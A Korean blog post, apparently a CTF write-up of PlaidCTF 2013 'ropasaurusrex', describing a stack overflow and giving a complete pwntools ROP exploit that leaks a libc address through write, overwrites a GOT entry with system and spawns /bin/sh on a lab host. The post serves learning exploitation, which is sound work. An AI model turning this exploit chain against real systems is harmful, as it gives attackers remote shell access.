-
PlaidCTF 2013 ropasaurusrexPwnable/CTF 2017. 2. 11. 20:55
실력이 너무 부족하다보니 그나마 쉽다고 생각되는 CTF 문제들부터 풀어봣다.
느낌이 온다..
함수 이름은 임의로 직접 정한것
버퍼 사이즈는 136인데 .. read 함수로 256만큼 입력을 받는다. (스포를 해보자면 write 함수로 leak을 한 다음에 오프셋을 구해서 공격하면 된다)
main 함수 사진까지 올릴필요는 없다 생각해서 한줄로 적었다. -> return write(1, "WIN\n", 4u); <- 이 write 함수 를 이용하여서 memory leak을 할 수 있다.
Exploit Code (원래 같으면 같이 바이너리와 포함되있는 libc.so.6로 오프셋을 구할 수 있지만 난 로컬로 풀었기때문에 서버쪽에서 오프셋을 얻어온다음에 그것을 이용하여서 풀었다)
-------------------------------------------------------------
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455from pwn import *import timer=remote('192.168.146.155',9001)write_plt=0x0804830cwrite_got=0x08049614bss=0x08049628+0x30read_got=0x0804961Cp3r=0x080484b6read_plt=0x0804832Cread_system_offset=0x9ae80shell="/bin/sh"print "Exploit and Memory leak"payload="\x90"*140payload+=p32(read_plt)payload+=p32(p3r)payload+=p32(0)payload+=p32(bss)payload+=p32(len(shell)+1)#Memory leak startpayload+=p32(write_plt)payload+=p32(p3r)payload+=p32(1)payload+=p32(read_got)payload+=p32(4)#Memory leak Endpayload+=p32(read_plt)payload+=p32(p3r)payload+=p32(0)payload+=p32(read_got)payload+=p32(4)payload+=p32(read_plt)payload+=p32(0xaabbccdd)payload+=p32(bss)r.sendline(payload)time.sleep(2)r.sendline(shell)read_libc=u32(r.recv(4))print hex(read_libc)system_libc=read_libc-read_system_offsetprint "LEAK : System addr: "+hex(system_libc)time.sleep(1)r.sendline(p32(system_libc))r.interactive()cs ------------------------------------------
로컬로 풀어보는데 쉬운문제 같다.
'Pwnable > CTF' 카테고리의 다른 글
PlaidCTF 2014 EZHP (2) 2017.03.10 codegate 2017 messenger (1) 2017.03.08 WITHCON malloc (0) 2017.03.03 Codegate 2017 baby_pwn (0) 2017.02.20 Codegate2014 Angry_Doramon (0) 2017.02.14